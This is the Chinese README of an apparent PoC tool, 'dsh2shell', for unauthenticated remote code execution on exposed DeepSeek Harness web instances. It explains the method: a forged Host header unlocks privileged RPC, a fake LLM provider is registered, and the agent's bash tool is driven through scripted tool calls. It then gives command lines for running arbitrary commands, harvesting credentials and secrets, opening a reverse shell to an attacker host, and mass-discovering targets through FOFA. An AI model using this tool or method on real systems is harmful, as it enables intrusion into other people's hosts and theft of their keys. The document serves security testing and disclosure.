未授权RCE检测 ChaoMixian/dsh2shell

dsh2shell

针对暴露在公网的 DeepSeek Harness（dsh）Web 实例的未授权 RCE PoC。

demo

原理：伪造 Host 头可解锁 dsh 的特权 RPC 方法，PoC 借此注册一个临时 LLM 服务商，指向自带的假模型服务器，再用确定性的工具调用驱动智能体的 bash 工具——不需要真实模型，也不需要有效 API key。

环境要求

- Python 3.8+（仅用标准库）
- 一个从目标主机能访问到的监听地址（例如你 VPS 的公网 IP）

用法

执行一条或多条命令：

python3 dsh2shell.py -t https://target.example.com \
--public-base http://1.2.3.4:9999/v1 --cmd "id" --cmd "cat /flag"

搜集凭据（环境变量、dotfiles、dsh 目录树、正则扫描；已知的 key/secret 模式会被提取并高亮）：

python3 dsh2shell.py -t https://target.example.com \
--public-base http://1.2.3.4:9999/v1 --loot-keys

打开交互式 PTY：

python3 dsh2shell.py -t https://target.example.com \
--public-base http://1.2.3.4:9999/v1 --shell \
--lhost 1.2.3.4 --raw

FOFA 资产测绘与被动探测：

export FOFA_KEY='<FOFA_API_KEY>'
python3 dsh2shell.py --fofa

只读探测单个目标（可达性、默认模型、权限预设、服务商路由、残留检查）：

python3 dsh2shell.py -t https://target.example.com --dry-run

修复被中断的运行留下的残留（残留的服务商路由、假凭据、仍指向假服务商的默认模型；若已无用户路由，则回退到内置的 deepseek-official 服务商）：

python3 dsh2shell.py -t https://target.example.com --repair

选项：

| 选项 | 含义 |
| --fofa | FOFA 资产测绘与被动 dsh/API 探测 |
| --dry-run | 只探测：可达性、默认模型、预设、服务商路由；不做任何改动 |
| --repair | 清除被中断运行留下的假 LLM 残留，并重新选择一个已有模型 |
| --loot-keys | 大范围搜集凭据并提取 key/secret（可单独使用，也可配合 --cmd） |
| --shell | 针对一个明确目标打开反弹 shell |
| --cmd "CMD" | 非交互式执行命令（可重复） |
| --no-cleanup | 保留攻击会话与配置改动 |
| --no-log | 关闭运行日志 |
| --log-dir dir | 存放带时间戳运行日志的目录（默认 dsh2shell_logs；除非 --no-log，否则始终开启） |
| -t, --target URL | 明确指定目标 URL |
| --lhost address | 目标主机能访问到的回调地址 |
| --shell-port port | 反弹 shell 端口（默认 4444） |
| --llm-listen host:port | 假 LLM 的绑定地址（默认 0.0.0.0:9999） |
| --public-base URL | 从目标主机看到的假 LLM /v1 URL |
| --secure | 校验 TLS 证书（默认忽略 TLS 错误） |
| --raw | 使用本地原始 TTY；Ctrl-] 关闭客户端 |

FOFA 结果绝不会自动传入利用模式。

仅供授权安全测试使用。